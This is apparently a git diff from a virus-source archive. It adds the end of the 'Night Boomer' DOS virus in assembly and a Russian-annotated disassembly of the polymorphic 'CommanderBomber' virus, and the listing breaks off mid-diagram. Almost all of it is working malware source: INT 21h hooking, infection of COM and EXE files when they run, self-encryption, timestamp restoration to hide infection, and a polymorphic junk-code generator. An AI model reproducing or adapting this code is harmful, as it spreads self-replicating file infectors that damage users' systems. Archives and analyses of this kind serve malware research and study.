+ xor ax, ax + mov ds, ax + push ds + lds ax, ds:[21h*4] ; Get old int handler + mov word ptr es:oldint21, ax + mov word ptr es:oldint21+2, ds + pop ds + mov word ptr ds:[21h*4], offset int21 ; Replace with new handler + mov ds:[21h*4+2], es ; in high memory + +done_install: + pop es + pop ds + cmp sp, id + jne restore_COM +restore_EXE: + mov ax, ds + add ax, 0010h + add cs:[bp+word ptr origCSIP+2], ax + add ax, cs:[bp+word ptr origSPSS] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS+2] + sti + db 00EAh +origCSIP db ? +old3 db 0cdh,20h,0 +origSPSS dd ? + +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3] + movsw + movsb + ret + +INT24: + mov al, 0003h + iret + +int21: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp ax, 4B00h ; execute? + jz execute +return: + jmp exitint21 +execute: + mov word ptr cs:filename, dx + mov word ptr cs:filename+2, ds + mov ax, 3524h + int 0021h + push es + push bx + + lea dx, INT24 ; ASSumes ds=cs + mov ax, 2524h + int 0021h + + push cs + pop es + + + mov bx, dx + cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM + jz return ; Exit if so + + mov ax, 4300h + lds dx, cs:filename + int 0021h + jc return + push cx + push ds + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0021h + + lds dx, cs:filename + mov ax, 3D02h + int 0021h + xchg ax, bx + + push cs + pop ds + + mov ax, 5700h ; get file time/date + int 0021h + push cx + push dx + + mov cx, 001Ah + mov dx, offset readbuffer + mov ah, 003Fh + int 0021h + + xor cx, cx + mov ax, 4202h + xor dx, dx + int 0021h + + cmp word ptr [offset readbuffer], 'ZM' + jz checkEXE + + mov cx, word ptr [offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jz jmp_close + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + mov si, offset readbuffer + mov di, offset old3 + movsw + movsb + + mov si, ax ; save entry point + add si, 0100h + mov cx, 0003h + sub ax, cx + mov word ptr [offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [offset readbuffer], dl + jmp short continue_infect +checkEXE: + cmp word ptr [offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea di, origCSIP + lea si, readbuffer+14h + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [readbuffer+14h], dx ; IP Offset + mov word ptr [readbuffer+16h], ax ; Para disp CS in module. + mov word ptr [readbuffer+10h], id ; Initial SP + + mov si, dx ; save entry point + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [readbuffer+4], dx ; Fix-up the file size in + mov word ptr [readbuffer+2], ax ; the EXE header. + + pop bx ; restore file handle + mov cx, 001Ah + +continue_infect: + push cx ; save # bytes to write + + mov ah, 002Ch ; Get current time + int 0021h + + add si, (offset endencrypt-offset encrypt) + mov word ptr ds:[patchstart+1], si + mov word ptr ds:[encryptvalue], dx + + mov di, offset encryptbuffer + mov si, offset ENCRYPT + mov cx, (heap-encrypt)/2 + push si + rep movsw ; copy virus to buffer + + mov ax, offset endencrypt-encrypt+encryptbuffer + mov word ptr ds:[patchstart+1], ax + pop si + push offset endencrypt + mov byte ptr [offset endencrypt], 00C3h ; retn + push bx + call si ; encrypt virus in buffer + pop bx + pop word ptr [offset endencrypt] + + + mov ah, 0040h + mov cx, heap-encrypt + mov dx, offset encryptbuffer + int 0021h + + mov ax, 4200h + xor cx, cx + xor dx, dx + int 0021h + + + mov dx, offset readbuffer + mov ah, 0040h + pop cx + int 0021h + + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0021h + + mov ah, 003Eh + int 0021h + + pop ax ; restore file attributes + pop dx ; get filename and + pop ds + pop cx ; attributes from stack + int 0021h + + pop dx + pop ds + mov ax, 2524h + int 0021h + +exitint21: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + + db 00EAh ; return to original handler +oldint21 dd ? + +signature db '[PS/G¤]',0 ; Phalcon/Skism G¤ +creator db '(c) TNT ',0 +virusname db 'Night Boomer',0 + +heap: +encryptbuffer db (heap-encrypt)+1 dup (?) +filename dd ? +readbuffer db 1ah dup (?) +endheap: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.bomb.lst b/MSDOS/Virus.MSDOS.Unknown.bomb.lst new file mode 100644 index 00000000..6a919c96 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bomb.lst @@ -0,0 +1,2039 @@ + ;============================================================================== + ; VIRUS : CommnaderBomber (RC-4096) + ;============================================================================== + COMMENT * + Вирус поражает файлы типа COM при запуске на выполнение (DOS func 4Bh). Ви- + рус не заражает файл COMMAND.COM. COM-формат определяется по отсутсвию подписи + "MZ" или "ZM" в начале файла. + Вирус не использует никаких выдающихся алгоритмов при заражении оперативной + памяти. Он становится резидентным испорльзуя стандартную функцию 31h (TSR) опе- + рационной системы. Очевидно, что автор не пытался реализовать ничего нового в + плане захвата памяти. Вирус использует стандартные функции и его обезвреживание + в памяти не представляет каких-либо сложностей. Свое присутствие в памяти вирус + определяет по несуществующей функции DOS (func 424Fh). При этом в качетсве па- + роля примпеняется первый слог "BO", а в качестве ответа - второй слог "MB" сло- + ва "BOMB". + Вирус работоспособен только в MS-DOS версии 3.0 и выше. + Вирус не проставляет никаких признаков зараженности. Вместо этого он ис- + пользует довольно оригинальный алгоритм самолечения при повторном заражении. + В принципе возможно многократное заражение программы-носителя. Однако этого не + происходит. Каждый раз при запуске зараженной программы вирус перезаписывает + тело программы в том виде, который она имела в момент поражения ее этой копией + вируса. При этом происходит отсекание всего лишнего. Т.е. при запуске много- + кратно зараженной программы каждая последующая копия вируса будет отсекать пре- + дыдущую. На практике это выглыдит так: запускаемая зараженная программа при ре- + зидентном вирусе еще раз заражается, а после якобы передачи управления програм- + ме-носителю вторая только что прицепивщаяся копия вируса отсекается первой ко- + пией. Таким образом, заразив файл, вирус становится стражем над этим файлом - + не пропускает ни своих собратьев, ни какой либо другой вирус. Подобные действия + весьма замедляют работу вируса, особенно, если пользоваться дискетами. Так как + многократная запись на диск в момент запуска зараженных программ будет весьма + заметна для пользователя. + Основная изюминка представленного вируса - это полиморфный генератор, ко- + торый является весьма оригинальным, поскольку использует почти все команды про- + цессора i8086. + Следует отметить, что создаваемый полиморфный код есть набором совершенно + бессмысленных команд, представляющих собой своеобразный забор пред смысловым + кодом. Для простоты будем называть такой забор "полиморфным мусором". + Вирус также примечателен тем, что в нем впервые применен алгоритм "опплевы- + вания" файла, т.е. вирус формирует в теле заражаемой программы отдельные участ- + ки кода, которые интенсивно взаимодействуют между собой посредством команд пе- + редачи управления CALL, JMP, RET. При этом участки кода располагаются по всей + программе в самых разных местах и самой разной длины. + Для отслеживания всех команд передачи управления вирус довольно интенсивно + использует стековую память (как HEAP область), формируя в ней два динамических + массива. + * + + in_reg equ 00000010b ; пересылка в регистр + out_reg equ 00000000b ; пересылка из регистра + BY_BYTE equ 00000000b ; обмен байтами + BY_WORD equ 00000001b ; обмен словами + SEG_REGs equ 00011000b ; маска сегментных регистров + + dop macro Operation,Direction + db Operation or Direction + dop endm + + seg_a segment byte public use16 + assume cs:seg_a, ds:seg_a + + org 100h + + Start label near + + 0100 Vir_start: + 0100 33 E4 xor sp,sp ; Организуем стек на вершине сегмента + 0102 FB sti ; Enable interrupts + 0103 E8 0074 call sub_017A + ;---------------------------------------------------------------------------------------------------------- + 0106 .43 4F 4D 4D 41 4E Copyright db 'COMMANDER BOMBER WAS HERE' + 010C 44 45 52 20 42 4F + 0112 4D 42 45 52 20 57 + 0118 41 53 20 48 45 52 + 011E 45 + ;---------------------------------------------------------------------------------------------------------- + 011F loc_011F: + ;--------------- перехват прерывания INT 21h --------------- + 011F B8 3521 mov ax,3521h + 0122 CD 21 int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + 0124 89 1E 0235 mov ds:data_0235,bx + 0128 8C 06 0237 mov ds:data_0237,es + 012C .BA 022A mov dx,offset sub_022A + 012F B4 25 mov ah,25h + 0131 CD 21 int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + 0133 E8 0942 call RANDOMIZE ; настройка генератора + ;--------------- освободить окружение ---------------------- + 0136 8E 1E 002C mov ds,ds:[002Ch] + 013A 8B D5 mov dx,bp + 013C 1E push ds + 013D 07 pop es ; ES = DS + 013E B4 49 mov ah,49h + 0140 CD 21 int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + ;--------------- переразметить блок памяти ----------------- + 0142 0E push cs + 0143 07 pop es + 0144 BB 00AC mov bx,(Vir_END - Vir_Start + 0100h) / 16 + 0147 B4 4A mov ah,4Ah + 0149 CD 21 int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + ;--------------- запустить --------------------------------- + 014B .BB 016C mov bx,offset data_016C + 014E 26: 8C 47 04 mov es:[bx+4],es + 0152 26: 8C 47 08 mov es:[bx+8],es + 0156 26: 8C 47 0C mov es:[bx+0Ch],es + 015A B8 4B00 mov ax,4B00h + 015D CD 21 int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + 015F 72 04 jc short loc_0165 ; Jump if carry Set + 0161 B4 4D mov ah,4Dh + 0163 CD 21 int 21h ; DOS Services ah=function 4Dh + ; get return code info in ax + 0165 loc_0165: + 0165 BA 00AC mov dx,Vir_END / 16 + 0168 B4 31 mov ah,31h + 016A CD 21 int 21h ; DOS Services ah=function 31h + ; terminate & stay resident + ; al=return code,dx=paragraphs + ;---------------------------------------------------------------------------------------------------------- + ; Блок параметров EXEC + 016C 00 data_016C db 0 + 016D 00 80 00 CC 0F 5C db 00h, 80h, 00h,0CCh, 0Fh, 5Ch + 0173 00 CC 0F 6C 00 CC db 00h,0CCh, 0Fh, 6Ch, 00h,0CCh + 0179 0F db 0Fh + + + ;========================================================================== + sub_017A: + 017A FC cld ; Clear direction + 017B 5E pop si ; SI = offset Copyright + 017C 83 EE 06 sub si,offset Copyright - offset Vir_start + ; SI = absolute address base + 017F 0E push cs + 0180 1F pop ds ; DS = CS + 0181 1E push ds + 0182 07 pop es ; ES = CS + 0183 33 C0 xor ax,ax ; Zero register + ; Create small procedure at address 00FCh + ;---------------------------- + ; 00FC F3 repz + ; 00FD A5 movsw ; Movsb ds:[si] to es:[di] + ; 00FE EB 1F jmp loc_011F + ;---------------------------- + 0185 BF 00FC mov di,offset start - 4 + 0188 50 push ax + 0189 57 push di + 018A B8 A5F3 mov ax,0A5F3h + 018D AB stosw ; Store ax to es:[di] + ; di=di+2, di=00FEh + 018E B8 1FEB mov ax,1FEBh + 0191 AB stosw ; Store ax to es:[di] + ; di=di+2, di=0100h + ; -------------- проверка версии DOS ------------ + ; под DOS версии мешьше чем 3.x вирус не работает + 0192 B4 30 mov ah,30h + 0194 CD 21 int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + 0196 3C 03 cmp al,3 + 0198 72 5D jb short loc_01F7 ; Jump if below + ; Если версия DOS 3.x+ то в копии системного окружения есть строка + ; с полным именем файла. Ищем это полное имя + 019A 56 push si + 019B 33 F6 xor si,si + 019D 8E 5C 2C mov ds,[si+2Ch] ; DS = DOS environ segment + 01A0 loc_01A0: + 01A0 AD lodsw ; String [si] to ax + 01A1 4E dec si + 01A2 0B C0 or ax,ax ; Zero ? + 01A4 75 FA jnz loc_01A0 ; Jump if not 00 + 01A6 8D 6C 03 lea bp,[si+3] ; DS:BP - полное имя программы + 01A9 5E pop si + ; -------------- проверка резидента паролем через INT 21h -------- + ; используется функция 42h с несуществующим методом установки 4Fh + 01AA B8 424F mov ax,'BO' + 01AD CD 21 int 21h ; DOS Services ah=function 42h + 01AF 3D 4D42 cmp ax,'MB' + ; Если вирус резидентен, то нет ника- + ; кого смысла в восстановлении прог- + ; раммы-носителя, нужно активизиро- + ; вать вирус (все бросаем и вперед + ; на активизацию вируса) + 01B2 75 62 jne short loc_0216 ; Jump if not TSR virus + ; -------------- открыть программу-носитель ---------------------- + 01B4 8B D5 mov dx,bp + 01B6 B8 3D02 mov ax,3D02h + 01B9 CD 21 int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + 01BB 06 push es + 01BC 1F pop ds ; DS = ES + 01BD 72 38 jc short loc_01F7 ; Jump if CF=1 (т.е. защита от + ; записи) + 01BF 93 xchg bx,ax + ; сохранить дату и время создания программы-носителя + 01C0 B8 5700 mov ax,5700h + 01C3 CD 21 int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + 01C5 72 2C jc short loc_01F3 ; Jump if CF=1 + ; -------------------------------------------------------------------- + ; * Восстановить образ памяти из MEM-блока * + ; -------------------------------------------------------------------- + ; Задача следующего кода состоит в восстановлении образа памяти до его + ; начального вида перед запуском. Т.к. пока процессор проходил через + ; полиморфный "мусор" к телу вируса содержимое ячеек памяти, которые + ; были выделены под модификацию, было изменено. Восстановление моди- + ; фицированных ячеек проводится по записям в MEM-блоке. + ; Формат MEM-блока : dw адрес, dw содержимое, dw адрес, dw содержимое + ; и т.д. + ; -------------------------------------------------------------------- + 01C7 52 push dx + 01C8 51 push cx + 01C9 56 push si + 01CA 81 C6 09C0 add si,Vir_END - Vir_start ; SI = указатель на MEM-блок + 01CE loc_01CE: + 01CE AD lodsw ; String [si] to ax + 01CF FE C4 inc ah ; прибавить 0100h + 01D1 74 04 jz short loc_01D7 ; Jump if Mark-end + 01D3 97 xchg di,ax + 01D4 A5 movsw ; Mov [si] to es:[di] + 01D5 EB F7 jmp short loc_01CE + 01D7 loc_01D7: + 01D7 5E pop si + ;--------------- перезаписать тело зараженной программы ------- + 01D8 BA 0100 mov dx,100h + 01DB B9 1000 mov cx,1000h + 01DE 03 8C 0110 add cx,offset OriginalFileSize - Vir_start [si] + 01E2 B4 40 mov ah,40h + 01E4 CD 21 int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + ;--------------- Обрезка лишнего (отбросить вторую копию) -------- + 01E6 33 C9 xor cx,cx ; Zero register + 01E8 B4 40 mov ah,40h + 01EA CD 21 int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + 01EC 59 pop cx + 01ED 5A pop dx + ; восстановить дату и время создания программы-носителя + 01EE B8 5701 mov ax,5701h + 01F1 CD 21 int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + 01F3 loc_01F3: + ; -------------- закрыть зараженную программу + 01F3 B4 3E mov ah,3Eh + 01F5 CD 21 int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + 01F7 loc_01F7: + 01F7 C6 06 00FF 00 mov byte ptr ds:[00FFh],0 ; При резидентном вирусе нужно + ; запускать программу носитель + ; ------------------------------------------------------------------------- + ; * ВОССТАНОВИТЬ в памяти программу-носитель по информации в ИНФО-блоке * + ; ------------------------------------------------------------------------- + 01FC 56 push si + 01FD 81 C6 0BC0 add si,Vir_END - Vir_start + 0200h + 0201 loc_0201: + 0201 AD lodsw ; String [si] to ax + 0202 8B C8 mov cx,ax + 0204 E3 08 jcxz short loc_020E ; Jump if cx=0 + 0206 AD lodsw ; String [si] to ax + 0207 FE C4 inc ah + 0209 97 xchg di,ax + 020A F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di] + 020C EB F3 jmp short loc_0201 + 020E loc_020E: + 020E 5F pop di ; вирус копируется сам на себя + 020F BE 3000 mov si,1111h ; размер файла-носителя до заражения + OriginalFileSize = word ptr $ - 2 + 0212 81 C6 0100 add si,offset start ; COM программы с адреса 0100h + 0216 loc_0216: + 0216 B9 0800 mov cx,4096 / 2 ; размер вируса в словах + 0219 06 push es + 021A 1F pop ds ; DS = ES + 021B C3 retn + + ;========================================================================== + ; Чтение из файла по адресу ES:0000 + ;========================================================================== + + sub_021C proc near + 021C 33 D2 xor dx,dx ; DX = 0000 + 021E B9 EF00 mov cx,0EF00h ; количество байт для чтения + ; (маскимально) + 0221 B4 3F mov ah,3Fh + + ;========================================================================== + ; Моделируем вызов оригинального диспечера DOS + ;========================================================================== + DOS_func: + 0223 9C pushf ; Push flags + 0224 FA cli ; Disable interrupts + 0225 0E E8 000B callf sub_0234 + 0229 C3 retn + sub_021C endp + + ;========================================================================== + ; Вирусный обработчик диспечера DOS (INT 21h) + ;========================================================================== + sub_022A proc far + 022A 3D 4B00 cmp ax,4B00h + 022D 74 0E je short loc_023D ; Jump if equal + 022F 3D 424F cmp ax,'BO' + 0232 74 05 je short loc_0239 ; Jump if equal + + ;========================================================================== + ; Передача управления оригинальному INT 21h + ;========================================================================== + sub_0234 proc far + 0234 EA db 0EAh ;jmp far ptr 0:0 + 0235 0042 data_0235 dw ? + 0237 DCB6 data_0237 dw ? + sub_0234 endp + + ;========================================================================== + 0239 loc_0239: + 0239 B8 4D42 mov ax,'MB' ; ответ на пароль + 023C CF iret ; Interrupt return + 023D loc_023D: + 023D 2E: 8C 16 0324 mov cs:Save_SS,ss + 0242 2E: 89 26 0329 mov cs:Save_SP,sp ; сохранить указатель стека + 0247 FA cli ; Disable interrupts + 0248 8C C8 mov ax,cs + 024A 8E D0 mov ss,ax + 024C BC 0100 mov sp,offset Start ; организовать стек на месте + ; PSP + 024F FB sti ; Enable interrupts + 0250 06 push es + 0251 1E push ds + 0252 55 push bp + 0253 57 push di + 0254 56 push si + 0255 52 push dx + 0256 51 push cx + 0257 53 push bx + 0258 FC cld ; Clear direction + 0259 8B F2 mov si,dx ; DS:DX - имя программы + 025B B9 0050 mov cx,50h ; длина имени 80 символов + 025E 8B FE mov di,si + ;--------------- выделяем имя программы --------------------------------------- + 0260 locloop_0260: + 0260 AC lodsb ; String [si] to al + 0261 3C 3A cmp al,':' + 0263 74 04 je short loc_0269 ; Jump if equal + 0265 3C 5C cmp al,'\' + 0267 75 02 jne short loc_026B ; Jump if not equal + 0269 loc_0269: + 0269 8B FE mov di,si + 026B loc_026B: + 026B 0A C0 or al,al ; Zero ? + 026D E0 F1 loopnz locloop_0260 ; Loop if zf=0, cx>0 + ;--------------- файл с именем COMMAND не заражается + 026F 8B F7 mov si,di + 0271 BF 0105 mov di,offset Copyright - 1 + 0274 B1 07 mov cl,7 + + 0276 locloop_0276: + 0276 AC lodsb ; String [si] to al + 0277 24 DF and al,0DFh ; al = UpCase (al) + 0279 47 inc di + 027A 2E: 3A 05 cmp al,cs:[di] + 027D E1 F7 loopz locloop_0276 ; Loop if zf=1, cx>0 + + 027F 75 09 jnz short loc_028A ; Jump if not zero + 0281 AC lodsb ; String [si] to al + 0282 0A C0 or al,al ; Zero ? + 0284 74 0E jz short loc_0294 ; Jump if yes + 0286 3C 2E cmp al,'.' + 0288 74 0A je short loc_0294 ; Jump if equal + ;--------------- захватить память --------------------------------------- + ; Туда будем копироватиь тело вируса и организовывать программные массивы + 028A loc_028A: + 028A BB 1000 mov bx,1000h ; нужно 4Кбайта + 028D B4 48 mov ah,48h + 028F E8 FF91 call DOS_func + 0292 73 03 jnc short loc_0297 ; Jump if carry=0 + 0294 loc_0294: + 0294 E9 0083 jmp loc_031A + ;--------------- получить атрибуты файла ------------------ + 0297 loc_0297: + 0297 8E C0 mov es,ax + 0299 B8 4300 mov ax,4300h + 029C E8 FF84 call DOS_func + 029F 72 74 jc short loc_0315 ; Jump if carry Set + ;--------------- снять если нужно атрибуты ---------------- + 02A1 D1 E9 shr cx,1 ; Shift w/zeros fill + 02A3 73 0A jnc short loc_02AF ; Jump if carry=0 + 02A5 D1 E1 shl cx,1 ; Shift w/zeros fill + 02A7 B8 4301 mov ax,4301h + 02AA E8 FF76 call DOS_func + 02AD 72 66 jc short loc_0315 ; Jump if carry Set + ;--------------- открыть файл ----------------------------- + 02AF loc_02AF: + 02AF B8 3D02 mov ax,3D02h + 02B2 E8 FF6E call DOS_func + 02B5 72 5E jc short loc_0315 ; Jump if carry Set + 02B7 93 xchg bx,ax + 02B8 06 push es + 02B9 1F pop ds ; DS = ES + 02BA E8 FF5F call sub_021C ; прочитать файл + 02BD 72 51 jc short loc_0310 ; Jump if carry Set + ;--------------- проверяем какой длины файл -------------------- + 02BF 3B C1 cmp ax,cx ; Слишком большой + 02C1 74 4D je short loc_0310 ; Jump if = + 02C3 3D 1400 cmp ax,1400h ; Слишком маленький + 02C6 72 48 jb short loc_0310 ; Jump if < + ;=============================================================== + ;- [!] --------- Обрабатываем только файлы формата COM --------- + ;=============================================================== + 02C8 81 3E 0000 5A4D cmp word ptr ds:[0000],'ZM' + 02CE 74 40 je short loc_0310 ; Jump if equal + 02D0 81 3E 0000 4D5A cmp word ptr ds:[0000],'MZ' + 02D6 74 38 je short loc_0310 ; Jump if equal + ;--------------- сохранить дату и время создания файла --------- + 02D8 50 push ax + 02D9 B8 5700 mov ax,5700h + 02DC E8 FF44 call DOS_func + 02DF 58 pop ax + 02E0 72 2E jc short loc_0310 ; Jump if carry Set + 02E2 2E: 89 0E 0308 mov cs:data_0308,cx + 02E7 2E: 89 16 0305 mov cs:data_0305,dx + ;=============================================================== + ; Запустить процедуру генерирующую полиморфный "мусор" + ;=============================================================== + 02EC 53 push bx + 02ED E8 0069 call sub_0359 + 02F0 5B pop bx + 02F1 50 push ax + ;--------------- позиционируемся на начало файла --------------- + 02F2 33 C9 xor cx,cx ; Zero register + 02F4 33 D2 xor dx,dx ; Zero register + 02F6 B8 4200 mov ax,4200h + 02F9 E8 FF27 call DOS_func + 02FC 59 pop cx + 02FD 72 11 jc short loc_0310 ; Jump if carry Set + ;--------------- записываем зараженный файл -------------------- + 02FF B4 40 mov ah,40h + 0301 E8 FF1F call DOS_func + ;--------------- восстановить дату и время --------------------- + 0304 BA 1F97 mov dx,1111h + data_0305 = word ptr $ - 2 + 0307 B9 2B87 mov cx,1111h + data_0308 = word ptr $ - 2 + 030A B8 5701 mov ax,5701h + 030D E8 FF13 call DOS_func + ;--------------- закрыть файл ---------------------------------- + 0310 loc_0310: + 0310 B4 3E mov ah,3Eh + 0312 E8 FF0E call DOS_func + ;--------------- освободить память ----------------------------- + 0315 loc_0315: + 0315 B4 49 mov ah,49h + 0317 E8 FF09 call DOS_func + 031A loc_031A: ; Leave virus + 031A 5B pop bx + 031B 59 pop cx + 031C 5A pop dx + 031D 5E pop si + 031E 5F pop di + 031F 5D pop bp + 0320 1F pop ds + 0321 07 pop es + 0322 FA cli ; Disable interrupts + ;--------------- восстановить стек ----------------------------- + 0323 B8 0FCC mov ax,1111h + Save_SS = word ptr $ - 2 + 0326 8E D0 mov ss,ax + 0328 BC FFF8 mov sp,1111h + Save_SP = word ptr $ - 2 + ;--------------- продолжить работу диспечера -------------------- + 032B B8 4B00 mov ax,4B00h ; функция "ЗАПУСТИТЬ" + 032E E9 FF03 jmp sub_0234 ; передача управления оригинальному + ; диспечеру DOS + sub_022A endp + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + RND_0_FF proc near + 0331 B8 0100 mov ax,100h + 0334 EB 12 jmp short RND_0_AX + + 0336 B0 40 RND_0_3F: mov al,40h + 0338 A9 db 0A9h ; TEST AX,im16 + 0339 B0 10 RND_0_F: mov al,10h + 033B A9 db 0A9h ; TEST AX,im16 + 033C B0 08 RND_01234567: mov al,8 + 033E A9 db 0A9h ; TEST AX,im16 + 033F B0 04 RND_0123: mov al,4 + 0341 A9 db 0A9h ; TEST AX,im16 + 0342 B0 03 RND_012: mov al,3 + 0344 A9 db 0A9h ; TEST AX,im16 + 0345 B0 02 RND_01: mov al,2 + 0347 98 cbw ; Convrt byte to word + + ;========================================================================== + + RND_0_AX: + 0348 52 push dx + 0349 51 push cx + 034A 50 push ax + 034B E8 073C call RND ; AX = RND + 034E 59 pop cx + 034F 33 D2 xor dx,dx ; 0:AX + 0351 F7 F1 div cx ; ax,dx rem=dx:ax/reg + 0353 92 xchg dx,ax ; AX = остаток от деления + 0354 59 pop cx + 0355 5A pop dx + 0356 0B C0 or ax,ax ; Zero ? + 0358 C3 retn + RND_0_FF endp + + + ;========================================================================== + ; Основная процедура управляющая полиморфным механизмом + ; Вход : AX = размер заражаемого COM-файла + ;========================================================================== + + sub_0359 proc near + ;------- Определяем в файле случайный кусок размером 4Кбайта --------------- + ; сохранить размер файла-жертвы + 0359 2E: A3 0210 mov cs:OriginalFileSize,ax + 035D 8B F8 mov di,ax ; DI - указывает на конец файла + ; вычесть 4К из размера. Необходимо для того, чтобы + ; случайный кусок не оказался НА конце файла, а максимум + ; В конце файла + 035F B9 1000 mov cx,4096 + 0362 2B C1 sub ax,cx + ; случайный кусок в файле + 0364 E8 FFE1 call RND_0_AX + 0367 05 0020 add ax,20h + 036A 2E: A3 04EB mov cs:data_04EB,ax ; AX - указывает на начало куска + ;------- Приписываем выбранный кусок к концу файла --------------------------------- + 036E 8B F0 mov si,ax + 0370 F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di] + ;----------------------------------------------------------------------------------- + 0372 1E push ds + 0373 0E push cs + 0374 1F pop ds ; DS = CS + 0375 A3 03D2 mov ds:data_03D2,ax ; Верхняя граница области "A" - это + ; начало выкушенной области + 0378 97 xchg di,ax ; DI - указывает на конец приписанного + ; куска (файл + кусок) + 0379 A3 03E7 mov ds:data_03E7,ax ; Верхняя граница области "B" - это + ; указатель на конец зараженного файла + 037C A3 059C mov ds:data_059C,ax ; Размера зараженного файла + 037F 96 xchg si,ax + 0380 A3 03E2 mov ds:data_03E2,ax ; Нижняя граница области "B" - это + ; конец выкушенной области + 0383 A3 03C1 mov ds:data_03C1,ax ; Конец ИНФО-блока + ;------- На место случайного куска копируем тело вируса ---------------------------- + 0386 BE 0100 mov si,offset Vir_Start + 0389 B9 09C0 mov cx,offset Vir_End - offset Vir_Start ; размер вируса + 038C F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di] + ;-------- Инициализация всех вирусных счетчиков ------------------------------------ + 038E 33 C0 xor ax,ax ; Zero register + 0390 A3 09E0 mov ds:BytesWrittenCounter,ax ; сгенерированных байтов - ноль + 0393 A3 06BE mov ds:StackCounter,ax ; слов в стеке - ноль + 0396 A3 06F3 mov ds:data_06F3,ax + 0399 A3 03CD mov ds:data_03CD,ax ; нижняя граница блока "A" - 0000 + 039C 89 3E 0A03 mov ds:data_0A03,di ; динамический указатель на + ; MEM-блок + 03A0 81 C7 0200 add di,0200h ; Размер MEM-блока = 512 байт + 03A4 89 3E 04E3 mov ds:data_04E3,di ; динамический указатель на + ; ИНФО-блок + 03A8 89 3E 09EA mov ds:data_09EA,di ; указатель на начало ИНФО-блока + 03AC 1F pop ds + ;------- Инициализация первых байтов информационной области ------------------------ + 03AD AB stosw ; Store ax to es:[di] + 03AE AB stosw ; Store ax to es:[di] + 03AF 2E: 89 26 0599 mov cs:data_0599,sp ; сохранить стек + ;----------------------------------------------------------------------------------- + 03B4 93 xchg bx,ax ; BX = 0000 + ; в теле полиморфного механизма BX + ; указывает на текущий адрес генери- + ; руемого участка + 03B5 53 push bx + 03B6 53 push bx ; Два ноля в стеке - это два Mark-end + ;--------------------------------------------------------------------------------------------------------- + ; * Использование стека * + ;--------------------------------------------------------------------------------------------------------- + ; Помимо всех прочих целей вирус использует стековую память для размещения в ней двух динамических масси- + ; вов. Динамические потому, что заранее не известно сколько участков кода и подпрограмм сгенерируется при + ; новом заражении. Один из этих массивов используется для хранения информации при генерации вызова под- + ; программ в полиморфном "мусоре". Второй массив используется для хранения информации при формировании ко- + ; манд SHORT переходов. При этом формат хранимой информации одинаков для обоих массивов: + ; + ; ................................................................... Информация хранится парами слов + ; [ Первый массив ] + ; * PUSH 0 (Mark-end) + ; 1 ┌─ PUSH Количество слов в стеке на момент перехода к новому блоку + ; └─ PUSH Адрес с которого делаем переход + ; ... + ; N ┌─ PUSH Количество слов в стеке на момент перехода к новому блоку + ; └─ PUSH Адрес с которого делаем переход + ; ................................................................... Информация хранится парами слов + ; [ Второй массив ] + ; * PUSH 0 (Mark-end) + ; 1 ┌─ PUSH Количество слов в стеке на момент формирования SHORT перехода + ; └─ PUSH Адрес команды SHORT перехода + ; ... + ; N ┌─ PUSH Количество слов в стеке на момент формирования SHORT перехода + ; └─ PUSH Адрес команды SHORT перехода + ; ................................................................... + ; [Обычный стек] + ;--------------------------------------------------------------------------------------------------------- + + ;---------- Гадаем будем или нет модифицировать DS в полиморфном мусоре ------------ + 03B7 E8 FF8B call RND_01 ; = 0 - нет + 03BA 2E: A2 0A25 mov cs:data_0A25,al ; = 1 - да + ;----------------------------------------------------------------------------------------------------------- + ; * Проверка пределов * + ;----------------------------------------------------------------------------------------------------------- + ; ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ + ; │data_03CD│ │data_03D2│ │data_03E2│ │data_03E7│ + ; └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ + ; 0000 ┌┼────────//────────┼─╔══════════╦══════╤══════╗─┼────────//───────────┐┌────────────────┼─┐ NNNN + ; │ ║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ ││ │ + ; ││ │ 